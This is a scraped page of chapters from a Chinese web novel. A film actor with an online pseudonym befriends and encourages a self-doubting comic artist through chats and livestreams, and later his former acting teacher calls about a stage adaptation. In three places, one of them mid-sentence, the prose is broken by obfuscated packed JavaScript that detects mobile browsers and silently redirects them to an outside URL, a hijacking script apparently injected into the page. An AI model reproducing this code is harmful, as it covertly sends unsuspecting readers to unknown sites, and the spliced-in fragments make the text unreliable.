《直上青云》上映后，江浏也算是一舞成名，虽然只是提名没有获奖，但受组委会邀请在颁奖礼上与艺术家合作了开场特殊表演。颁奖礼上的舞蹈片段还因为文化宣传的效果好被官媒转发。 导演也提拔他，将他推荐给圈内好友，让他刚出道就签约了多少新人想都不敢想的大公司，资源平地起飞。 至少在外人看来，江浏出道即巅峰，一路顺风顺水顺财神，妥妥的资源咖。 “说我‘水帝’，我其实也不冤。确实，只是演得‘合格’罢了。” 夜色已深，江浏躺在床上思绪万千。 越是想要放空脑袋睡觉，越是无数繁杂的念头潮水般翻涌。 枕边的手机在召唤，反正脑子乱乱的，不如再刷刷微博看看。 江浏点开自己的金主号，才发现夜幕糖已经回复他了。 【夜幕糖】：啊啊啊！暴风哭泣螺旋升天啊啊啊！[流泪][流泪]抱紧大腿，世界上怎么会有这么好的金主爸爸[流泪][流泪] 【夜幕糖】：虽然……但是，你已经给过很多很多的帮助了，大家是成年人（不确认成年打赏我也不敢收的），谁挣钱都不是大风刮来的，都有自己的生活，有房贷车贷压力，还是要以真实的生活为重啊！ 【夜幕糖】：我目前是有点拮据和焦虑啦！But，还没到山穷水尽的地步，你糖还是能坚持哒！再不济也会把手头这本完结，安啦安啦~ 【夜幕糖】：对啦，我给你邮点周边吧！不介意的话找金主爸爸要个地址~ 江浏敏锐地发现了，夜幕糖跟“金主爸爸”聊天的语气和面对“平野月”时是不一样的。 在与“金主”对话时，他看似态度亲昵，满口“亲亲抱抱举高高”的丝滑小连招，但花里胡哨的幼态表达背后，其本质是有距离和伪装的。 比起来，夜幕糖给“平野月”发的消息更随意，更像是他自己日常的交流方式。有时候看着文字，江浏甚至能在脑中想象出对方的语气。 “所以，他应该是更放松的吧？”江浏自言自语。 忽然，在“平野月”的账号里，夜幕糖的头像亮起了一个新消息的小红点。 【夜幕糖】：宝！你介意我稍微改点图吗？ 【夜幕糖】：[图片]给你看草图！ 【夜幕糖】：拍场照的时候没有助理，衣摆都垂着，我翻了那天自由舞台的视频，想来想去还是稍微改一点动作和角度，给衣服加点鼓风机的戏份，你觉着呢？ 【夜幕糖】：要是嫌弃改动太多，我还按照原图给你画！ 一口气发完好几条消息过去，叶慕唐心里有些忐忑。 “会不会显得热情过头了，有点烦了？”他转动着手中的压感笔，稍不留神笔就飞了出去。 叶慕唐忙不迭地半跪在地上捡笔，“千万别摔坏！千万别摔坏！我现在可买不起新的！” 谁叫他人菜瘾还大，不会转笔还总想嘚瑟。 好不容易在桌子和墙壁的缝隙里找回压感笔，叶慕唐笔在掌心双手合十，抛弃了坚定的唯物主义对着临时抱的佛脚虔诚祈祷，摇了好一会“天灵灵地灵灵”之后才在数位板上试了试。 “谢天谢地！没坏！”叶慕唐长出一口气，拍拍胸口。 在此期间，平野月已经回了他好几条消息。 【CN平野月】：好漂亮的动势！！！ 【CN平野月】：只是草图就帅到这种程度了吗？好厉害！已经开始期待成图了[星星眼] 【CN平野月】：怎么可能会嫌弃呢！超级喜欢的！ 【CN平野月】：质感好绝，衣摆重新调整布局之后构图更好看了，这个角度也好有视觉冲击力！太太是神仙！ 叶慕唐盘腿坐在人体工学椅上，喜滋滋地转了一圈。 【夜幕糖】：那我就照着这个思路画咯！ 嘴上说是去画画，他的手却下意识地点开了平野月的自由舞台视频。 目前为止，他的工作记录是画画五分钟，花痴半小时。 没勾几笔就点开视频无限循环，为了看得更清楚还丢进了视频剪辑软件里一帧一帧地欣赏。 “好涩啊。” 叶慕唐只是词穷，脑袋里的花花黄黄可是富得流油。 腰细的，肩背宽的，臀大肌是翘的，被人鱼线拢在中间的腹肌上有点隐隐约约青筋的。 要不是约稿，叶慕唐肯定会把上半身画成不穿衣服的！ “那些个流量明星，但凡有他三分功力，拍打戏也不至于被观众骂吧！”叶慕唐啧啧咂嘴，拖动进度条反复观看影卫腾空的那几秒。 看着看着，他皱起眉头，心中的疑影面积越来越大。 “不对劲儿，水帝营销的也是古典舞和武戏，难道……” 叶慕唐紧紧盯着屏幕，调出二人的聊天记录，逐句分析。 “态度看不出在有意隐瞒，但还是说不上来，有点怪。难道是……” 他双眼忽而一亮。 “难道说，他其实是江浏……的粉丝？” 叶慕唐只觉得通了、都能说通了。 “说不定，人家就是因为喜欢江浏的电影才学了武术！”他为自己的明察秋毫感到兴奋，跳下椅子在房间内踱步，“所以他会找人约江浏的公式照，那不就是很正常的粉丝行为吗！” 他冲到电脑前，鼠标选中了涉及水帝话题的聊天记录。 “没明确地说自己‘不是粉丝’。”叶慕唐明白了，“是因为我说不太喜欢水帝，他才糊弄过去的……那我岂不是，把人家理智粉也一起扫射了？” 叶慕唐急得直拍自己的大腿，“完了！” 再怎么说，他也不应该对着人家的偶像贴脸开大，那也太伤人心了。 是，平野月是很温柔、很会照顾他人的感受，但不代表叶慕唐可以凭着自己的好恶肆意践踏别人喜欢的东西。 “我这不就成欺负老实人了吗？” 叶慕唐尴尬得牙都不知道该咬在哪儿，发麻的头皮拢着比头发丝还多的“悔不当初”，恨不得马上在桌上给人家磕个响的。 “怎么办、怎么办？” 聊天框十分安静，还留着平野月鼓励他的话，更让叶慕唐良心不安了。 【夜幕糖】：对不起！昨天是我说得太过分了。 【夜幕糖】：我才反应过来，你不要打我。你应该还是很喜欢江浏的吧…… 【夜幕糖】：抱歉抱歉！我不应该嘴你喜欢的明星的。 叶慕唐发了磕头的表情包。 【夜幕糖】：对不起！我是不是让你伤心了。 在乱窜的心跳里，新消息在手机上的震动都能把叶慕唐吓一跳。 【CN平野月】：哈哈，还好啦！ “完蛋了，那就是不好！”叶慕唐抓狂地双手抱头。 在“哈”字通货膨胀的社交环境里，四个以下的“哈”通通可以归为礼貌性质的假笑。两个“哈”是仅仅比冷笑好一点点的程度。 【夜幕糖】：我不会再这样了[流泪][流泪] 【夜幕糖】：听我说了那么多过分的话，你肯定很难过吧……真的对不起。 现在，反倒是江浏想着该怎么安抚对方了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815076|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【CN平野月】：你说的都是公道话，也没人身攻击，也没问候人家祖宗，很文明的正常评论啦！不是有句话说过…… 【CN平野月】：——若批评不自由，则赞美无意义。 【CN平野月】：而且事实也是他的粉丝在你的评论区ky①在先。我反倒觉得，太太能允许朋友有不一样的爱好，还愿意表示尊重，真的很包容了。 【夜幕糖】：[流泪]你这么说，我更愧疚了。 【夜幕糖】：要不这样，我还是给你画江浏老师的公式照吧。 之前还是一口一个“水帝”的叫，现在就尊称“老师”了。 江浏看得哭笑不得，连忙回复。 【CN平野月】：没关系，我觉得江浏这人还行，也很喜欢太太，所以我更想太太画自己喜欢的东西，这样我们都很开心。 【CN平野月】：影卫的草图那么帅，你可不能钓过我之后不画出来！ 【夜幕糖】：[流泪]宝，你真的跟江浏其他粉丝不一样，是一股清流啊！ 其实就是“清流”本人在评论区不分场合、不看气氛地自卖自夸。 【CN平野月】：我也不算水帝的粉丝啦！因为水帝确实没“粉丝”。 【CN平野月】：之前江浏在微博上发过小作文，他不太喜欢用“粉丝”这个称呼，都叫“观众朋友”。因为“粉丝”太不平等，而“观众”是有权喜欢，也有权批评和讨厌他的。 【CN平野月】：倒也不是立老干部人设。只是觉得这才是一种健康的交流方式。比起出于喜爱的无条件维护，演员更需要观众真实的反馈才能改正和进步。 【CN平野月】：演员的表演因被看到才有意义，观众通过消费获得了良好的艺术体验，互相成就的双方在人格上是彼此尊重的。而消费者更是演员的衣食父母，地位更高些呢。 这样的话，是叶慕唐从来没有思考过的。 全新的念头在脑子里打圈，驱使他查看自己在各个平台上的发言和互动。 【夜幕糖】：……我才发现，我也是用“粉丝”称呼读者朋友们的。 别的不说，他只是不走心地叫平野月“宝”，这样泛滥的廉价亲切是可以敷衍所有人的。 而平野月说他们是“朋友”，被他嘴了喜欢的明星还在夸他包容。 包容？叶慕唐只觉得无地自容。 【夜幕糖】：月月，你真是个好善良的人啊！[大哭][大哭] 【夜幕糖】：你好会发现别人的优点。 【CN平野月】：没有啦！大多数时间我还是很刻薄的。比如，我也觉得这个影帝，江浏拿着挺水的。 【CN平野月】：水帝拿奖，资本肯定在后面使劲儿了。公司里赚钱的流量艺人多得很，养他为的是提升公司的逼格。给他镀个金，也是在稳固影视圈的利益交换。 【CN平野月】：就算不服众，黑红也是热度。以前江浏是谁根本无人在意，少年舞姬火的是角色跟演员没啥关系，现在所有人都知道有这么个水帝了。 【CN平野月】：至少在国内，很多时候谁拿了什么奖、谁要陪跑，业内早就有风声。江浏肯定不无辜，但他又不能跟自己的公司闹僵，只能上台发言多说句“感谢女导演、女编剧、女主演”。 【CN平野月】：从结果上来看，不过是受益者的伪善罢了。 【CN平野月】：人又清高，但真遇上事儿缩头乌龟一个。 对面沉默了一小会儿。 【夜幕糖】：大哥……我怎么觉得你这个忠实观众，骂人比我骂得还狠呢？ 9. 反思 想了想，叶慕唐觉得目前的情况不排除对方是为了安慰他，才黑自家影帝的可能。他决定还是要解释一下自己对江浏的态度。 【夜幕糖】：我其实对水帝最多是路人心态。当时影视圈UP主发视频的时候吃过他拿影帝的瓜。我所有真人明星都挺无感的，属于二次元纯度比较高吧。 【夜幕糖】：不过，除了评论区的事情之外，也有水帝这一款跟我气场不太对的原因吧。 【CN平野月】：详细说说？ 【夜幕糖】：先叠甲！ 【夜幕糖】：我知道明星人设和本人差距很大，以下言论不针对水帝本人！ 【夜幕糖】：只能说“忧郁”这种气质不太戳我，连纸片人也是这样。 【CN平野月】：那我大概知道了。再加上某些影视混剪套了滤镜，把人搞得脸白唇红像鬼一样，还营销古装剧照破碎感，太太就觉得更烦了，对吧! 【夜幕糖】：月月你懂我！ 【夜幕糖】：也不能说我完全不喜欢忧郁气质的角色，毕竟我自己的漫画里也不是没有画过这样的人。可能我是纯粹讨厌无病呻吟的感觉吧。 【夜幕糖】：但今天跟你聊过，我才发现江浏本人和外界形象可能真的不太一样吧。关于“粉丝”和“观众”的说法，我以前从来没想过。 叶慕唐想，他应该不会再用“粉丝”来称呼读者们了。 关注他的人有权利喜欢他，自然也有权利喜欢别人，甚至有权利喜欢他讨厌的人，那都人家的自由。 擅自认为看过他作品的人一定会无条件地喜欢他、追随他，何尝不是傲慢的一种？ 沉浸在跟读者贴贴拉近关系，耳朵里只听到夸奖而没有批评，是很危险的。 说到底，他也才画了三年，有的是进步的空间。 【夜幕糖】：如果你愿意直白地指出我的问题，我想我也会很受益的。 【夜幕糖】：还有，听你说自己“刻薄”我其实有点难受。因为你完全不是这样的人。我从来不觉得月月刻薄！只能说，这个人身上有严谨的态度。 【夜幕糖】：所以不要这样说自己啦！ 【夜幕糖】：以后请你多多给我提意见，找更好的作品“拉踩”我，也是让我看到自己提升的范例和方向。 【CN平野月】：这种要求我还是头一回听，哈哈哈哈！ 是四个及以上的“哈”！警报解除！ 叶慕唐松了口气。 【夜幕糖】：我知道自己还是个小垃圾~ 【夜幕糖】：请你无情地鞭挞我吧！ 【夜幕糖】：[动画表情：老师，浇浇我] 以江浏追更这么久对太太的了解，随着时间的推移，如今夜幕糖得意自满的时间只占两分，剩下八分都是处于“我不够好才没人看”的内耗焦虑旋涡，在追求完美的牛角尖里打转。 比起加重对方心理压力的负面评论，江浏想，目前的阶段，他的太太更需要鼓励和重新审视自己的契机。 【CN平野月】：太太放心，我会给出自己真实的看法，不会只吹彩虹屁搞捧杀。 【CN平野月】：但他人的意见未必都是对的，太太在收集读者反馈的时候，也不用每句话都信，很多时候还是要坚定自己的想法。 【CN平野月】：毕竟，我是因为太太独特的画风、精彩不流俗的剧情才喜欢太太的作品，不希望糖咪丢失自己的个人特色呀！有些人们看不惯的东西，反而成为了独一无二的你。 【CN平野月】：最近不是总有人在谈论“喜恶同因”么！同样的特质，一部分人深恶痛疾，而另一些人恰巧是因为这一点喜欢你的作品，但夜幕糖出品的画面、故事和角色本身是没有变化的。 叶慕唐一时不知道该回复什么，只怔怔地盯着电脑。 从连载漫画以来，他收到过许多的评论，有过分的赞美也有恶意的诋毁，但未曾有人站在创作者的角度同他交流 。 他不曾参与到任何画师的小圈子里，没有跟任何人抱团取暖搞社交，也从来没干过撕逼、站队、对喷之类的事情，更没去找大佬“拜师”抱大腿。 “单机画画”的过程中，他始终是自己反思、自己修改，无数次地在内心苛责自己，几乎是自虐般地对待自己的感受，逼迫自己进步。 这样宽慰的话，他第一次听。 【CN平野月】：不管是短篇还是长篇，太太用心地对待每个故事和故事里的人，好好地给他们圆满的结局，没有烂尾没有坑掉，已经很棒很棒了啊！ 【CN平野月】：无论怎样，按照你的步调画完这个故事就够了。作为读者，我和太太一样爱它，在我看来，比起完美，珍重的完结才是最重要的。 江浏引用了叶慕唐发的那句“所以不要这样说自己啦”。 【CN平野月】：所以，也请太太不要说自己是小垃圾啊。 【CN平野月】：我不许我的小宝藏这样说自己（霸总脸）[叼玫瑰花] 叶慕唐反复地看着屏幕前不断弹出的对话气泡，每个字都认识，但又那样的不同，透出奇妙的、直冲天灵盖的陌生温柔。 【夜幕糖】：不好意思，我回复的慢，是因为我不知道该说什么。 【夜幕糖】：谢谢。 【夜幕糖】：谢谢。 【夜幕糖】：我是真的想说谢谢，除了这个我不知道要怎么说。 眼泪让他瞬间变成了高度近视，又在湿润的角膜外抹匀成生效到下一次眨眼前的隐形眼镜，让他无比清晰地看着，不会错过任何鼓励的话语。 【CN平野月】：咪，你会火的，那么好的作品会火的！ 【CN平野月】：会有很多很多人喜欢你的！你相信我！ 【CN平野月】：不仅仅是未来，其实现在也一定有人愿意支撑你在这条路上走下去，希望能尽自己所能帮你安心地画下去，因为Ta们喜欢你的作品。 【夜幕糖】：但我突然觉得，火不火的，好像不重要了。 【夜幕糖】：能有这样的时刻，好像什么都够了。 【CN平野月】：不够的！太太要赚好多好多钱！要有好多好多读者！实体书的签售爆满，周边谷子卖到断货，改编广播剧、改编动画、改编游戏、改编大电影，翻译成其他语言占领东南亚市场！ 【夜幕糖】：不是[笑哭]这也太贪了吧？ 【CN平野月】：这就叫贪了？只是东南亚市场太保守了，还有樱花泡菜欧米的潜在客户！【CN平野月】：[动画表情：总裁掀桌] 【夜幕糖】：月总，马哈鱼商业版图也不过如此吧！ 【CN平野月】：总是要有野心和梦想吧！实不实现另说，想都不敢想未免太小看自己了！ 【CN平野月】：让我们踏踏实实做微小的事情，然后天马行空地怀有远大的梦想。 叶慕唐看着那行字，连呼吸都有些不自觉地发颤。 是啊，他什么时候变成了现在这副模样。 灰暗的心里不再满怀希望，手头的小事也拖延着做不完整。 他怎么可以变成这样？ 迷雾中骤然照射进来的光，微弱的一缕，不刺眼，但那样的坚定和明亮。 叶慕唐将那句话截图存了起来。 【夜幕糖】：好！ 【夜幕糖】：我这就去画！ 江浏发了句“太太加油”，在对话框里打了“为你疯，为你狂，为你框框撞大墙”，又觉得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815077|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好，删掉了没发出去。 最后，他只是精神地发了个晚安的表情包，不再打扰夜幕糖的激情创作。 深夜的宁静和高度兴奋是最适合太太产出的了。 “他自己就叫‘夜幕糖’，半夜造糖的夜猫子一个。”江浏自言自语，说着自己也笑了。 江浏主动为这段很宝贵的交流时光画上了句号，有些不舍，也有些期待。 但总归是好的。 “虽然没能扭转自己糟糕的公众形象吧……” 作为影帝的江浏也是他自己的一部分，他做不到完全地与这个形象切割。 “水帝就水帝吧，起码不是失德艺人。”他自我安慰道。 如今的互联网交流环境戾气太重，暴露在极端的评价之下是很痛苦的，骂的和夸的看多了都会出问题。想要保持心理健康最好什么都不看、什么都不听，多埋头工作，少玩手机。 但江浏又不想一辈子都活在自己的真空世界里。人想要进步，需要外界的声音。所以，他会自虐一样去看影视博主的吐槽，他不允许自己逃避，几乎是在强迫自己直面舆论的碾压。 “如果太太看过我作品，会不会对我改观呢？” 可惜，近年来让他自己满意的好作品，也确实没有几个。 只有江浏知道，他在刚入行的时候，就发现了自己在演员道路上致命的弱点。 他强烈的自尊和挑剔的口味，使得他即便能够深入地分析人物的行为逻辑，也很难抛弃自我、全情地代入角色当中。 这也是为什么江浏明明做了那么充足的准备，在刚刚饰演少年舞姬的时候却并不顺利。 经验丰富的导演叫他完全忘记所写的小传，让角色的一切成为演员的潜意识，自然地在表演中流露真实的情感。 但江浏做不到。 忘掉了那些分析，他就做回了自己。所以，到最后他还是循着自己的设计、跟着导演的指令和要求调整，几乎是“置身事外”地演到了底。 对角色的“同情”是有，但他却很难做到最重要的“共情”。 少年舞姬认为自己对皇帝的感情是忠、是爱。可江浏很难跳出现代文明、将自己当做古人。他打心底不觉得这种七扭八歪的东西叫做“爱”，只觉得这人斯德哥尔摩综合征真的该治了。 所有人都在欣赏少年舞姬的死，凝视着美丽的生命在极大的戏剧张力之下燃烧殆尽，情绪烘托至高潮，显得少年死得其所又有诗意。但是江浏并不喜欢这种将人的绝望装裱起来的“艳尸文学”。 江浏不是脑子空空的人，他太有想法了，年纪轻，眼睛里又揉不下沙子。 他不否认《直上青云》的剧本很好，连他这个镶边的配角都有丰满的故事线，但耐不住他就是觉得作品的味道总是透出些说不清、道不明的陈腐感，让他读剧本的时候像是打开了古墓的盖子。 精华也有、糟粕也有。 当然，这些想法都会被他好好地藏在心底，在表演时他会以专业的态度和不断磨练的技巧应对，最终呈现出来的效果勉强混得过去。 随着入行多年来经验的增长、心智的成熟和能力的提升，他已经能越来越好地忽略自我的态度和观点，表演时能顺利地获得绝大部分导演和同行的认可，从不耽误拍摄的进度。 “但说到底，不就是优秀的‘行活’吗？” 到了眼尖的导演、老戏骨和挑剔懂行的观众那里，一眼就能看出他的表演时技巧痕迹过重而少了真情实感。 劝别人的时候说得头头是道，到了自己这边什么办法都没有。 江浏对这个漫长的瓶颈期束手无策，看不到半点曙光。 从某种程度上看，他和他的太太此刻的处境还是真像啊。 10. 陪伴 “开播、开播！”叶慕唐调试着后台的音频，“大家能听到我的声音吗？” 后台弹幕窗上划过了许多“听到啦”“1”“能”“听得到”，ID也都是他眼熟的那几个。 “音乐声音怎么样？太响了对吗，那BGM我调小点再开始画。” 最近一段时间夜幕糖太太在社交平台上变得更加活跃了，还开了赶稿直播，分镜稿画好了之后挑两页公开描线过程，犹抱琵琶半遮面地释放剧透。 别说，还真挺管用的。 不少新读者都是看着直播间封面有点意思，点进去看看绘画过程、听听他跟读者聊天，逐渐对剧情产生好奇才入坑的。 “有人问：不是画更新吗？对，不是更新，本周的新一话我已经提前画完了，明天准时发。” 他也是个能心分四用的神人，耳朵里听着直播间放的歌、眼睛能看到弹幕、嘴上不忘互动聊天、手还精准地画个不停。 “这次画的是客单，征求过单主同意可以播过程，禁止二传二改，不开放任何授权哦！” 在家中做柔韧性训练的江浏利用组间的休息时间拿起手机，敲下弹幕。 【CN平野月】：期待！ 【CN平野月】：绘画过程也记得打码~ “对对对，打码，等我拖个厚一点的水印设置一下，不要被融AI了。” 叶慕唐的指尖敲击机械键盘和鼠标的声音也被话筒收了进去，清脆的声响过后，画面上出现了大片的半透明水印，稍稍有些遮挡画面，但看直播的人忍一忍也不是不能习惯。 “好喜欢主播歌单，求同款。啊，我这个是软件‘猜你喜欢’随便播的，有的时候什么歌放过去了我自己都不知道，等我直播完了整理一下给大家在大眼仔上发。” “平时画听什么？对，不播的时候也听的，不然画着干巴。我还挺喜欢听相声、评书、广播剧的时候画画的。直播不听……我怕出版权问题啊！尤其是付费买断的剧和会员剧，肯定不能播的。” “吓死了，第一次看太太直播，我夜幕糖女神竟然变男人了。你们笑死我算了，怎么谁进来都要先感叹我的性别？以后成直播间传统了。” 看着直播，江浏练功自然就分心了。 他不像夜幕糖，没有心分多用的能力，能在同一时间做好一件事已经占用了全部的精神，不专心的话什么都做不好。 转念又想，本来就是休假期间，白天又不是没练功，晚上歇歇怎么了？ 摸鱼的心思起来就很难再支棱起来了。江浏干脆不练了，放着直播，将平板塞进浴室墙上的防水盒子里，打开花洒洗澡收工。 就着“哗啦啦”的水声，没听过但意外好听的音乐声和夜幕糖与弹幕互动的声音填满了洗澡时这段思绪的空白。 “糖咪色彩明明很厉害，为什么漫画是黑白？我说句实话，大家不要以为黑白省事儿，我要是搞全彩绝对比黑白画得快。黑白漫也不是纯线稿，几千种电子网点，都有自己的用处。” 他语气倒是因为思考停顿片刻，但手上描线的速度一如既往。 “可能是情怀吧！但我是觉得，黑白真的有独特的魅力和想象力，有些效果反而是全彩没法表达的。但客单指定要全彩，我肯定不能舞到甲方面前。单主也在直播间看着呢！” 江浏听到自己被提及，没收住嘴角，轻轻地笑了。 在约稿平台上他直接按照最贵的一档下单的，还加了点钱，夜幕糖不说，他还没注意最高的收费档位是全彩的图。 “感觉最近糖咪很亢奋，打鸡血了。有吗？有吗！我怎么不觉得。” 江浏停下花洒，带着水珠的指尖用力地戳在防水盒的透明膜上，尽管接触不良、不方便打字也要发弹幕。 【CN平野月】：有的。 “怎么都这么说！”叶慕唐笑出了声，“可能是因为最近跟亲友聊得很好吧！聊着聊着灵感爆发了，经常掉进心流状态，对时间都没感觉。经常是，眨个眼睛怎么就画到天黑了。” 江浏知道，夜幕糖说的“亲友”大概率是他。 最近一段时间，境遇在某种意义上重合的二人开始了极高频率的交流，每天都要聊上很久。 从喜欢的游戏、番剧、小说，再到叶慕唐自己的漫画作品。 他们有太多说不完的话题了。 在尊重、善意和倾听的氛围里，大多数时刻，两个人都持有相同的观点，对着屏幕疯狂点头。偶尔遇到分歧，他们也能理解和包容，连争论的时候都有酣畅淋漓的感觉。 “大家都知道，小日子过得不错的那边，漫画家都有责任编辑深度参与创作。我们这边还是单打独斗为主，顶多跟亲友商量剧情。但人钻牛角尖的时候，真的很需要外部的视角帮着拽一下。” “对对对，有的时候觉出来不对劲儿了，也不知道怎么改，在死胡同撞墙推不开门的时候，后面有人拍拍肩说‘兄弟，你拉一下试试呢’，新世界的大门‘唰’就打开了。” “什么？兄弟拍了拍肩膀然后向地上扔了块……香皂？！笑死，我真是服了你们！” 正在洗澡的江浏听到香皂梗，被莫名其妙地激出了满背的鸡皮疙瘩。 脱离了繁忙工作，江浏终于有大块的时间能够尽情沉浸在自己喜欢的事物当中，也能在休息时与夜幕糖保持高浓度的交流。 他被压抑许久的表达欲，得到了前所未有的释放。 无论他谈论什么，夜幕糖都不会用敷衍的态度应对；无论赞同与否，对方都能给出条理清晰的回复，认真地同他讨论。 出于信任，夜幕糖会很自然地提起自己的过往经历，不介意分享真实的信息。江浏压抑在暗处的好奇心，也在这个过程中被对方无意识地满足。 忽然，正在播放直播画面的屏幕上方弹出消息。 【夜幕糖】：啊啊啊，怪我嘴巴跑的比脑子快。忘记问过你介不介意我在直播间提起我们私聊谈过的话题了。对不起！是我欠考虑[可怜] 突然收到对面道歉的江浏有些意外，他丝毫不觉得对方的行为有问题，还因为自己荣升太太“亲友”、享受抢先讨论剧情的特殊待遇高兴来着。 该不会太太是看“平野月”好久没在直播间互动，误以为他生气了吧？ 身上的泡沫才冲了一半，江浏关了花洒，澡也不洗了，擦擦手把平板从防水盒里抠出来回复。 【CN平野月】：没有的事~太太不用道歉。 【CN平野月】：倒不如说，我超级开心的！ 【CN平野月】：一直以来都很喜欢太太分享日常生活和创作中的趣事，现在能帮忙梳理剧情、给太太加更提速，还能以亲友身份上电视，怎么说……与有荣焉！ 对面秒回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815078|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【夜幕糖】：[流泪][流泪]月总是什么绝世大好人啊！ 【夜幕糖】：如果下次还有类似的情况，我一定会记得先问问你哒。 【CN平野月】：不用问，我给你永久授权。 【CN平野月】：如果有个别不授权的我会额外标注的[偷看] 其实以前，江浏是不怎么看直播的。 直播没有剪辑，网友的互动随机性强，绝大多数光鲜亮丽的包装在直播中都会被无情地揭开，暴露出脑袋空空、贪婪傲慢的内里。只有少数有真本事的人才能禁得住这般没有时差、不加修饰的接触。 同时，大多数的直播节目于他而言都节奏太慢、太随心所欲了，无论是画面还是声音，专注地看了好久都没什么有效的信息，简直是在浪费时间。 作为一个效率和逻辑性至上的人，江浏总觉得自己宝贵的休息时间，应该放在有意义的活动上，无论是游戏、番剧还是看拉片博主的分享，都比看直播要好得多。 哪怕是跑步、洗澡的时间里，听播客、有声书都明显比直播更有效地利用了碎片时间，让生活的夹缝也能帮他吸收知识、促进思考。 这是他少有的能从头到尾跟完的直播。 期间，江浏慢悠悠地做着自己的事情。平板里的夜幕糖画着画，回答弹幕里没头没尾的问题，偶尔谈及一些创作时的趣事和故事的情节。 时间并没有被浪费，反而过得很快、很轻盈。 “轻盈”。 这是一个从身到心共同的感受，对于他而言有些稀奇。 等到江浏躺在床上的时候，夜幕糖也画得差不多了，要下播了。 “都这时候了还有没走的？那我最后说几句好啦！” 江浏也调低了音量，闭上了眼睛。 “最近感觉自己的状态是真的挺好的。以前在截稿日.逼近之前，总是要拖延症复发的，而现在连摸鱼都在进行深度的对话与思考。也有好多读者说我进入了一段飞速进步的时期，挺高兴的。” “希望这样的状态能久一些，让我能给大家带来更多好的作品吧。晚安晚安，下咯！” 直播切断的那一刻，江浏忽然感到了那股难得的轻盈感似乎飘走了。 骤然袭来的安静和空虚在黑夜中占领了脑海和胸口。 有些难受，总觉得应该做些什么。 就这样放下手机，实在是太难受了。 忽然，手机的震动打破了独自沉浸的这份感受。 江浏急忙拿起手机，生怕自己回复太太晚了显得不够热情。 【陈老师】：小江，最近怎么样了？忙不忙，有没有工作安排？ 在看清不是夜幕糖来信的瞬间，江浏是有些失落的。 紧接着，他反应过来，响的是工作机不是私人机。找他谈话的人是大学阶段的授业恩师陈老师，又打起了十二万分的精神，当即拍开床头灯，正襟危坐，双手捧着手机准备措辞回复。 那可是戏剧学院的顶级大咖导师，这些年评上过影后影帝、视后视帝的大佬们有不少都上过她的课、残留着被老太太痛骂过的心理阴影。 当年江浏算是表现好、挨骂少的了，但冷不丁收到老师的消息还是免不了头皮发紧、后背见汗。 【陈老师】：小江，你知道什么是二次元吗？ 江浏：“？” 11. 真人 江浏是真的想破脑袋也想不明白，老艺术家陈老太太一把年纪了，上哪儿接触的亚文化圈小众问题？ 还问的是学生时代就有“老土好孩子”人设的他？ 他不知道该怎么回，又不敢回得太慢，一边思考一边打字。 刚刚礼貌问候，并回复了自己的近况，还没开始讲二次元呢，陈老师就直接打来了电话。 吓得江浏赶紧从床上滚下来，老老实实地坐在餐桌前供着开了扬声器的手机，拿出平板电脑和智能笔，摆出上课的姿态准备记笔记。 聊了几句才知道，陈老太太了不了解、喜不喜欢二次元根本无所谓的。但她那宝贝孙女儿喜欢就不一样了。 比起不成器的儿子，孙女乔希娜隔代遗传了陈老师的美貌和艺术天分，性格和智商又随了老太太亲自挑的儿媳妇，宝贝得不行。 大学期间，江浏在陈老师家里见过那小姑娘。还在读高中，但人家的见识、谈吐已经比不少大学生都成熟了，哪怕是以严格、高要求著称的陈老师看着她的眼里都满是骄傲和欣赏。 如今这姑娘更是了不得，自己当导演兼制片人，牵头买了隔壁小日子动画的版权，现在要攒人翻拍真人版的舞台剧。 江浏好不容易搞清楚了状况，心里直犯嘀咕。 小姑娘给他的印象是早慧、干练、有远见的，怎么会搞出这么大一颗雷？ 真人版翻拍那可是大坑中的大坑，以目前的行业现状，几乎有一个算一个都是在毁原著，除了扑穿地心的糊剧，能在社媒上拥有姓名的剧集都在走演员粉丝和原著粉丝网络骂战的黑红路线。 再加上这姑娘要拍的不是网剧，而是在线下剧院演出的舞台剧，以二次元受众的消费习惯和宅家程度，演出票根本卖不出去，黄牛买了票估计全得砸在手上。 “陈老师，方便问一下买的是哪部作品的版权吗？”江浏小心翼翼地问。 他在心底祈祷，最好不是自己喜欢的那几部白月光佳作惨遭真人化魔改。 “你等我翻翻看。” 电话那边传来书籍翻页的声音。 很快，一个最不愿意被听到的名字，从陈老师嘴边掉了出来。 “这部作品改编难度不小的。”江浏尽可能委婉地说，“毕竟拿过国际最佳动画电影大奖，是很多人的童年回忆。还有很多龙啊、猪啊、纸人、神明之类的非人类角色，舞台剧不太好弄。” 对于孙女，陈老师的态度就是无限溺爱和信任，“希娜说，这些问题都有解决方案。她办事，你放心就好。” 